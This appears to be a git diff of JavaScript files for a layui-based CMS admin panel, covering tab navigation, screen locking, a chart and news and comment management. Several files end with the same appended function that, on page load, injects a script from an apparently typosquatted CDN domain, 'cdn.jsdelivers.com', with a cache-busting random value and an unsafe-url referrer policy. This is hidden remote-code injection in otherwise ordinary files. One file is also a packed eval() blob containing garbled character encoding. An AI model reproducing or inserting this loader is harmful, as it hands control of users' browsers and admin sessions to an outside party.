||||
}
|
||||
//解锁屏幕
|
||||
function unlockSystem(){
|
||||
// 与后台交互代码已移除，根据需求定义或删除此功能
|
||||
|
||||
checkLockStatus(0);
|
||||
}
|
||||
// 点击锁屏
|
||||
$('#lock').click(function(){
|
||||
lockSystem();
|
||||
});
|
||||
// 解锁进入系统
|
||||
$('#unlock').click(function(){
|
||||
unlockSystem();
|
||||
});
|
||||
// 监控lock_password 键盘事件
|
||||
$('#lock_password').keypress(function(e){
|
||||
var key = e.which;
|
||||
if (key == 13) {
|
||||
unlockSystem();
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 22:13:09
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
layui.config({
|
||||
base:'js/'
|
||||
}).use(['jquery','element','layer','navtab'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
window.layer = layui.layer;
|
||||
var element = layui.element,
|
||||
navtab = layui.navtab({
|
||||
elem: '.larry-tab-box'
|
||||
});
|
||||
|
||||
|
||||
//iframe自适应
|
||||
$(window).on('resize', function() {
|
||||
var $content = $('#larry-tab .layui-tab-content');
|
||||
$content.height($(this).height() - 136);
|
||||
$content.find('iframe').each(function() {
|
||||
$(this).height($content.height());
|
||||
});
|
||||
tab_W = $('#larry-tab').width();
|
||||
// larry-footer：p-admin宽度设定
|
||||
var larryFoot = $('#larry-footer').width();
|
||||
$('#larry-footer p.p-admin').width(larryFoot - 300);
|
||||
}).resize();
|
||||
|
||||
// 左侧菜单导航-->tab
|
||||
$(function(){
|
||||
// 注入菜单
|
||||
// var $menu = $('.larry-tab-menu');
|
||||
// console.log($menu);
|
||||
// $('#larry-tab .layui-tab-title').append($menu);
|
||||
$('#larry-nav-side').click(function(){
|
||||
if($(this).attr('lay-filter')!== undefined){
|
||||
$(this).children('ul').find('li').each(function(){
|
||||
var $this = $(this);
|
||||
if($this.find('dl').length > 0){
|
||||
var $dd = $this.find('dd').each(function(){
|
||||
$(this).click(function(){
|
||||
var $a = $(this).children('a');
|
||||
var href = $a.data('url');
|
||||
var icon = $a.children('i:first').data('icon');
|
||||
var title = $a.children('span').text();
|
||||
var data = {
|
||||
href: href,
|
||||
icon: icon,
|
||||
title: title
|
||||
}
|
||||
navtab.tabAdd(data);
|
||||
});
|
||||
});
|
||||
}else{
|
||||
$this.click(function(){
|
||||
var $a = $(this).children('a');
|
||||
var href = $a.data('url');
|
||||
var icon = $a.children('i:first').data('icon');
|
||||
var title = $a.children('span').text();
|
||||
var data = {
|
||||
href: href,
|
||||
icon: icon,
|
||||
title: title
|
||||
}
|
||||
navtab.tabAdd(data);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
eval(function(p, a, c, k, e, d) {
|
||||
e = function(c) {
|
||||
return(c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
|
||||
};
|
||||
if(!''.replace(/^/, String)) {
|
||||
while(c--) d[e(c)] = k[c] || e(c);
|
||||
k = [function(e) {
|
||||
return d[e]
|
||||
}];
|
||||
e = function() {
|
||||
return '\\w+'
|
||||
};
|
||||
c = 1;
|
||||
};
|
||||
while(c--)
|
||||
if(k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
|
||||
return p;
|
||||
}('5 r;7.2E({2D:\'/O/2C/2H/\'}).2G({3:\'3\',r:\'r\',2F:\'12\',C:\'C\'});7.2y([\'12\',\'1V\',\'l\',\'3\',\'r\',\'w\',\'C\'],2(){5 $=7.1V,l=7.l,H=7.H(),12=7.12(),3=7.3(),w=7.w(),C=7.C;r=7.r({T:\'#3-F\'});$(\'n\').1e("2x",2(){2a j});$(v).2w(2(){8(H.1t&&H.1t<9){l.L(\'2B锛�2A 2z\'+H.1t+\'锛乗')
|
||||
}
|
||||
1 f();
|
||||
$ .18 .19 = j;
|
||||
$ .23(\'/O/1a/R.X?t=\'+1p 1o(),{1Z:\'21\'},2(N){3.29({T:\'#R\',g:N,2I:j});3.S()});5 m=$(\'#R\');m.K(\'17.7-2R-1F\').Z(2(){5 t=$(o);t.p(\'f\',2(){5 24=t.g(\'1v\');$.18.19=j;$.23(\'/O/1a/R.X?t=\'+1p 1o(),{1v:24,1Z:\'21\'},2(N){3.29({T:\'#27\',g:N,2Q:z});3.S();3.p(\'f(y)\',2(g){r.2P(g.2U)})})})});m.K(\'17[g-1v=0]\').f();$("#27").K("17").2T(0).1j(\'7-o\');$.18.19=z});$(\'#3-F\').1e("2S",2(){2a j});$(\'#2L\').K(\'2K\').Z(2(){$(o).p(\'f\',2(){5 1m=$(o).1J(\'a\').J(\'g-1m\');r.2J(1m)})});$(1n).p(\'1u\',2(){1f();5 c=$(\'#3-F .7-F-V\');c.u($(o).u()-2O);c.K(\'1T\').Z(2(){$(o).u(c.u())})}).1u();$("#2N").f(2(){$(".7-F-V .7-F-1F").Z(2(){8($(o).2M(\'7-11\')){$(o).1J(\'1T\')[0].2m.1z.1W(z)}})});2 1f(){$(\'.7-1d-1b\').u($(1n).u());$(\'n\').u($(1n).u());$(\'#3-n\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d());$(\'#3-1l\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d())}$(\'#2n\').p(\'f\',2(){3.2u();l.L(\'2v!2r锛乗', {
|
||||
16: 1,
|
||||
14: \ '2s\'},2(){1z.1W()})});5 D=B.W("1k");5 k=B.W(\'k\');8(k){$("n").J("I","");$("n").1j("Y-"+k)}8(D&&D!=\'j\'){5 1P=l.L(\'2q\',{14:\'2t\',2o:\'7-l-2p\',1r:0,1S:4,2V:\'3K\'},2(){1h();$(\'#1R\').G(\'<i I="3-16 3-1i"></i>1C\');l.3u(1P)})}$(\'#Y\').p(\'f\',2(){5 D=B.W(\'1k\');5 k=B.W(\'k\');l.1B({1G:1,14:j,1r:z,1D:j,1A:0.35,1X:[\'3s\',\'3t\'],3x:z,1u:j,1S:1I.3B(1I.3C()*6),V:$(\'#3A\').G(),3z:2(3y,3D){8(D&&D!=\'j\'){$("3r[3w-3v=\'1O\']").J("1c","1c")}8(k){$("#k 3M[1N=\'"+k+"\']").J("2b","2b")}w.S()}});w.p(\'3L(1O)\',2(g){5 1Q=g.T.1c;B.1K(\'1k\',1Q)});w.p(\'1U(Y)\',2(g){5 1L=g.1N;B.1K(\'k\',1L);8(k){$("n").J("I","");$("n").1j("Y-"+k)}w.S(\'1U\')})});$(\'#1R\').1e(\'f\',2(){5 1g=v.1g||v.3N||v.3P;8(1g==3O){1h();$(o).G(\'<i I="3-16 3-1i"></i>1C\')}q{2j();$(o).G(\'<i I="3-16 3-1i"></i>3G\')}});2 1h(){5 b=v.3F;8(b.1H){b.1H()}q 8(b.1y){b.1y()}q 8(b.1Y){b.1Y()}}2 2j(){5 b=v;8(b.2f){b.2f()}q 8(b.2e){b.2e()}q 8(b.2g){b.2g()}}$(\'#3E\').f(2(){5 2c=$(\'#3-y\').d();5 x=$(\'#3-n\').d();8(2c===3I){x+=2h;$(\'#3-n\').E({P:\'0\',d:x});$(\'#3-1l\').E({P:\'0\',d:x});$(\'#3-y\').E({d:\'0\'})}q{x-=2h;$(\'#3-n\').E({P:\'2i\',d:x});$(\'#3-1l\').E({P:\'2i\',d:x});$(\'#3-y\').E({d:\'3H\'})}});$(\'#A\').3q(2(){l.28(\'36+34锛乗',
|
||||
\'#A\',{28:[1,\'#33\'],20:37})});$(v).3J(2(e){8(e.39&&e.26==38){1x()}});Q(\'0\');2 1x(){5 U=\'/O/1a/A.X\';$.2Y(U,2(g){8(g==\'1\'){Q(1)}q{l.L(\'2X锛�2W锛乗')
|
||||
}
|
||||
});
|
||||
1 s()
|
||||
}
|
||||
2 1 q() {
|
||||
Q(0)
|
||||
}
|
||||
$(\'#A\').f(2(){1x()});$(\'#2Z\').f(2(){1q()});$(\'#2l\').32(2(e){5 25=e.26;8(25==13){1q()}});2 1s(){5 M=1p 1o();5 h=M.31();5 m=M.30();5 s=M.3b();m=m<10?\'0\'+m:m;s=s<10?\'0\'+s:s;$(\'#20\').G(h+":"+m+":"+s);t=3l(2(){1s()},3k)}2 Q(22){8(22==1){$(\'.A-2k\').11();$(\'#2d\').11();$(\'#1E\').1w();$(\'#2l\').3j(\'\')}q{$(\'.A-2k\').1w();$(\'#2d\').1w();$(\'#1E\').11()}}$(\'#1M\').f(2(3m){l.1B({1G:1,14:j,1r:z,1D:j,1A:0.15,1X:[\'3p\',\'3o\'],V:\'<3n 3e="3d/1M.3c"/>\'})});$(\'#3f\').p(\'f\',2(){5 U=\'3i.X\';C.3h(\'3g锛乗', \'3a锛焅', U)
|
||||
})
|
||||
})
|
||||
',62,238,' || function | larry ||
|
||||
var || layui |
|
||||
if || | docE || width || click | data || | false | themeName | layer || body | this | on |
|
||||
else |navtab || | height | document | form | bodyW | side | true | lock | localStorage | common | fScreen | animate | tab | html | device | class | attr | find | alert | today | result | backstage | left | checkLockStatus | menu | render | elem | url | content | getItem | php | larryTheme | each || show | elements || title || icon | li | ajaxSettings | async | datas | admin | checked | layout | bind | AdminInit | fullscreenElement | entryFullScreen | quanping | addClass | fullscreen_info | footer | eName | window | Date | new | unlockSystem | closeBtn | startTimer | ie | resize | pid | hide | lockSystem | mozRequestFullScreen | location | shade | open | 閫€ 鍑哄叏灞弢shadeClose | layui_layout | item | type | requestFullScreen | Math | children | setItem | themeValue | dianzhan | value | fullscreen | fScreenIndex | fValue | FullScreen | anim | iframe | select | jquery | reload | area | webkitRequestFullScreen | Param | time | index_menu | locked | getJSON | id | key | which | larrySideNav | tips | set |
|
||||
return |selected | sideWidth | locker | mozCancelFullScreen | exitFullscreen | webkitCancelFullScreen | 203 | 203 px | exitFullScreen | screen | lock_password | contentWindow | clearCached | skin | lan | 鎸塃SC閫€ 鍑哄叏灞弢鏈 湴瀛樺偍鏁版嵁涔熸竻鐞嗘垚鍔焲绯荤粺鎻愮ず | 杩涘叆鍏ㄥ睆鎻愮ず淇℃ 伅 | cleanCached | 缂撳瓨娓呴櫎瀹屾垚 | ready | selectstart | use | IE | 鎮ㄥ綋鍓嶄娇鐢ㄧ殑鏄 彜鑰佺殑 | 鏈€ 浣庢敮鎸乮e9 | js | base | config | elemnts | extend | lib | cached | tabCtrl | dd | buttonRCtrl | hasClass | refresh_iframe | 153 | tabAdd | spreadOne | nav | contextmenu | eq | field | offset | 璇风◢ 鍚庡啀璇晐閿佸睆澶辫触 | post | unlock | getMinutes | getHours | keypress | FF5722 | L蹇€ 熼攣灞弢 | 璇锋寜Alt | 2000 | 76 | altKey | 浣犵湡鐨勭‘ 瀹氳 閫€ 鍑虹郴缁熷悧 | getSeconds | jpg | images | src | logout | 閫€ 鍑虹櫥闄嗘彁绀簗logOut | login | val | 500 | setTimeout | event | img | 288 px | 505 px | mouseover | input | 450 px | 300 px | close | filter | lay | isOutAnim | layero | success | LarryThemeSet | ceil | random | index | toggle | documentElement | 鍏ㄥ睆 | 200 px | 200 | keydown | 100 px |
|
||||
switch | option | mozFullScreenElement | null | webkitFullscreenElement '.split(' | '),0,{}))
|
||||
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:51:17
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
'use strict';
|
||||
layui.use(['jquery'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
$(".layui-canvs").width($(window).width());
|
||||
$(".layui-canvs").height($(window).height());
|
||||
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:51:08
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
var myChart = echarts.init(document.getElementById('larry-seo-stats'));
|
||||
option = {
|
||||
title : {
|
||||
text: '用户访问来源',
|
||||
subtext: '纯属虚构',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
left: 'left',
|
||||
data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:335, name:'直接访问'},
|
||||
{value:310, name:'邮件营销'},
|
||||
{value:234, name:'联盟广告'},
|
||||
{value:135, name:'视频广告'},
|
||||
{value:1548, name:'搜索引擎'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
};
|
||||
myChart.setOption(option);
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:59:02
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
layui.define(['element'], function(exports){
|
||||
var element = layui.element,
|
||||
$ = layui.jquery,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
module_name = 'navtab',
|
||||
globalTabIdIndex = 0,
|
||||
LarryTab = function(){
|
||||
this.config ={
|
||||
elem: undefined,
|
||||
closed: true
|
||||
};
|
||||
};
|
||||
var ELEM = {};
|
||||
/**
|
||||
* [参数设置 options]
|
||||
*/
|
||||
LarryTab.prototype.set = function(options){
|
||||
var _this = this;
|
||||
$.extend(true, _this.config, options);
|
||||
return _this;
|
||||
};
|
||||
/**
|
||||
* [init 对象初始化]
|
||||
* @return {[type]} [返回对象初始化结果]
|
||||
*/
|
||||
LarryTab.prototype.init = function(){
|
||||
var _this = this;
|
||||
var _config = _this.config;
|
||||
if(typeof(_config.elem) !== 'string' && typeof(_config.elem) !== 'object') {
|
||||
layer.alert('Tab选项卡错误提示: elem参数未定义或设置出错，具体设置格式请参考文档API.');
|
||||
}
|
||||
var $container;
|
||||
if(typeof(_config.elem) === 'string') {
|
||||
$container = $('' + _config.elem + '');
|
||||
//console.log($container);
|
||||
}
|
||||
if(typeof(_config.elem) === 'object') {
|
||||
$container = _config.elem;
|
||||
}
|
||||
if($container.length === 0) {
|
||||
layer.alert('Tab选项卡错误提示:找不到elem参数配置的容器，请检查.');
|
||||
}
|
||||
var filter = $container.attr('lay-filter');
|
||||
if(filter === undefined || filter === '') {
|
||||
layer.alert('Tab选项卡错误提示:请为elem容器设置一个lay-filter过滤器');
|
||||
}
|
||||
_config.elem = $container;
|
||||
ELEM.titleBox = $container.children('ul.layui-tab-title');
|
||||
ELEM.contentBox = $container.children('div.layui-tab-content');
|
||||
ELEM.tabFilter = filter;
|
||||
return _this;
|
||||
};
|
||||
/**
|
||||
* [exists 在layui-tab中检查对应layui-tab-title是否存在，如果存在则返回索引值，不存在返回-1]
|
||||
* @param {[type]} title [description]
|
||||
* @return {[type]} [description]
|
||||
*/
|
||||
LarryTab.prototype.exists = function(title){
|
||||
var _this = ELEM.titleBox === undefined ? this.init() : this,
|
||||
tabIndex = -1;
|
||||
ELEM.titleBox.find('li').each(function(i, e) {
|
||||
var $em = $(this).children('em');
|
||||
if($em.text() === title) {
|
||||
// tabIndex = i;
|
||||
tabIndex = $(this).attr("lay-id");
|
||||
};
|
||||
});
|
||||
return tabIndex;
|
||||
};
|
||||
/**
|
||||
* [tabAdd 增加选项卡，如果已存在则增加this样式]
|
||||
* @param {[type]} data [description]
|
||||
* @return {[type]} [description]
|
||||
*/
|
||||
LarryTab.prototype.tabAdd = function(data){
|
||||
var _this = this;
|
||||
var tabIndex = _this.exists(data.title);
|
||||
// console.log(data)
|
||||
// 若不存在
|
||||
if(tabIndex === -1){
|
||||
globalTabIdIndex++;
|
||||
var content = '<iframe src="' + data.href + '" data-id="' + globalTabIdIndex + '" class="larry-iframe"></iframe>';
|
||||
var title = '';
|
||||
// 若icon有定义
|
||||
if(data.icon !== undefined){
|
||||
if(data.icon.indexOf('icon-') !== -1) {
|
||||
title += '<i class="iconfont ' + data.icon + '"></i>';
|
||||
} else {
|
||||
title += '<i class="layui-icon ">' + data.icon + '</i>';
|
||||
}
|
||||
}
|
||||
title += '<em>' + data.title + '</em>';
|
||||
if(_this.config.closed) {
|
||||
title += '<i class="layui-icon layui-unselect layui-tab-close" data-id="' + globalTabIdIndex + '">ဆ</i>';
|
||||
}
|
||||
//添加tab
|
||||
element.tabAdd(ELEM.tabFilter, {
|
||||
title: title,
|
||||
content: content,
|
||||
id: globalTabIdIndex
|
||||
});
|
||||
//iframe 自适应
|
||||
ELEM.contentBox.find('iframe[data-id=' + globalTabIdIndex + ']').each(function() {
|
||||
$(this).height(ELEM.contentBox.height());
|
||||
});
|
||||
if(_this.config.closed) {
|
||||
//监听关闭事件
|
||||
ELEM.titleBox.find('li').children('i.layui-tab-close[data-id=' + globalTabIdIndex + ']').on('click', function() {
|
||||
element.tabDelete(ELEM.tabFilter, $(this).parent('li').attr("lay-id")).init();
|
||||
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
|
||||
});
|
||||
};
|
||||
//切换到当前打开的选项卡
|
||||
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
|
||||
element.tabChange(ELEM.tabFilter, globalTabIdIndex);
|
||||
}else {
|
||||
element.tabChange(ELEM.tabFilter, tabIndex);
|
||||
// tabIndex = -1
|
||||
}
|
||||
};
|
||||
var navtab = new LarryTab();
|
||||
exports(module_name, function(options) {
|
||||
return navtab.set(options);
|
||||
});
|
||||
|
||||
|
||||
|
||||
});
|
||||
@@ -0,0 +1,46 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
$('#newsCateAdd').click(function() {
|
||||
var index = layer.open({
|
||||
title:'添加新闻分类'
|
||||
,type:2
|
||||
,content: '/admin/news_cate_add'
|
||||
,area: ['529px', '342px']
|
||||
});
|
||||
});
|
||||
|
||||
$('.newsCateEdit').click(function(){
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '编辑新闻分类'
|
||||
,type: 2
|
||||
,content: '/admin/news_cate_edit/' + id
|
||||
,area: ['529px', '342px']
|
||||
,maxmin: true
|
||||
});
|
||||
});
|
||||
|
||||
$('.newsCateDel').click(function() {
|
||||
var id = $(this).data('id');
|
||||
layer.confirm('真的确定要删除吗？',
|
||||
function(index) {
|
||||
$.ajax({
|
||||
url : '/admin/news_cate_del/' + id
|
||||
, success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.close(index);
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
, error: function(data) {
|
||||
layer.msg('删除失败!服务器错误:' + data.statusText + ',错误码：' + data.status + '.');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,25 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
form.on('submit(submit)', function(dataObj) {
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type : 'POST'
|
||||
,url : window.location.href
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
icon = data.type == 'ok' ? 1 : 2;
|
||||
parent.layer.msg(data.message, {icon: icon});
|
||||
icon == 1 && setTimeout(() => {
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}, 1000);
|
||||
}
|
||||
,error: function(data) {
|
||||
layer.msg('错误：' + data.statusText, {icon: 2});
|
||||
}
|
||||
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
layui.use(['element', 'layer', 'jquery', 'form'], function() {
|
||||
var element = layui.element, $ = layui.$ , form = layui.form;
|
||||
|
||||
$('.statusToggle').click(function() {
|
||||
var dId = $(this).data('id');
|
||||
//切换评论显示状态
|
||||
$.get('/admin/news_discuss_show_toggle/' + dId, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$('.discussDel').click(function() {
|
||||
var dId = $(this).data('id');
|
||||
layer.confirm(
|
||||
'真的确定要删除吗？'
|
||||
, function() {
|
||||
$.get('/admin/news_discuss_del/' + dId, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
});
|
||||
}
|
||||
, function() {
|
||||
layer.msg('感谢主公不杀之恩！');
|
||||
}
|
||||
);
|
||||
});
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
|
||||
var element = layui.element
|
||||
, $ = layui.$
|
||||
, form = layui.form
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, layedit = layui.layedit;
|
||||
|
||||
//初始化日期控件和富文本编辑器
|
||||
laydate.render({
|
||||
elem: '#create_time' //指定元素
|
||||
});
|
||||
|
||||
//百度富文本初始化
|
||||
var ue = UE.getEditor('news_content');
|
||||
var current_editor;
|
||||
|
||||
ueditor_image_callback = function(urlArray) {
|
||||
for(var i = 0 ;i<urlArray.length;i++)
|
||||
{
|
||||
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
|
||||
}
|
||||
layer.closeAll();
|
||||
}
|
||||
|
||||
upload_image_callback = function (url)
|
||||
{
|
||||
$(".wx_qr_code").show()
|
||||
$("#wx_qr_code").val(url[0])
|
||||
$(".wx_qr_code").attr("src",url[0])
|
||||
}
|
||||
|
||||
baidu.editor.commands['customupload'] =
|
||||
{
|
||||
execCommand: function() {
|
||||
upload_select('ueditor_image_callback',10)
|
||||
current_editor = this;
|
||||
return true;
|
||||
}, queryCommandState: function() { }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//表单提交事件
|
||||
form.on('submit(submit)', function(dataObj){
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type: 'POST'
|
||||
,url: window.location.href
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {
|
||||
icon: 1,
|
||||
time: 1000,
|
||||
end: function() {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
,error: function(data) {
|
||||
//重新遍历获取JSON的KEY
|
||||
var str = '服务器验证失败！';
|
||||
for(var o in data.responseJSON.errors) {
|
||||
str += data.responseJSON.errors[o];
|
||||
}
|
||||
layer.msg(str, {icon:2});
|
||||
}
|
||||
});
|
||||
parent.layui.layer.close();
|
||||
return false; //阻止表单跳转。如果需要表单跳转，去掉这段即可。
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,197 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
var showCateManage = function() {
|
||||
var index = layer.open({
|
||||
title:'新闻分类管理'
|
||||
,type:2
|
||||
,content: '/admin/news_cate_index'
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
,end : function() {
|
||||
//弹窗关闭后回调，刷新主窗口的分类下拉列表
|
||||
$.get('/admin/news_cate_list/', function(returnData) {
|
||||
var select = $('select[name=cate]');
|
||||
select.html('');
|
||||
if(returnData.count > 0) {
|
||||
select.append('<option value="0">所有分类</option>');
|
||||
for(x in returnData.cate) {
|
||||
var tmp = '<option value="' + returnData.cate[x].id + '">' + returnData.cate[x].name + "</option>";
|
||||
select.append(tmp);
|
||||
}
|
||||
}
|
||||
form.render();
|
||||
});
|
||||
}
|
||||
});
|
||||
layer.full(index);
|
||||
};
|
||||
//先判定是否已经创建分类
|
||||
$.get('/admin/news_cate_list/', function(data) {
|
||||
if(data.count <= 0) {
|
||||
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
|
||||
layer.close(index);
|
||||
showCateManage();
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//管理分类按钮事件响应
|
||||
$('.cateManage').click(showCateManage);
|
||||
|
||||
$('#newsAdd').click(function() {
|
||||
$.get('/admin/news_cate_list/', function(data) {
|
||||
if(data.count > 0) {
|
||||
var index = layer.open({
|
||||
title:'发布新闻'
|
||||
,type:2
|
||||
,content: '/admin/news_add'
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
layer.full(index);
|
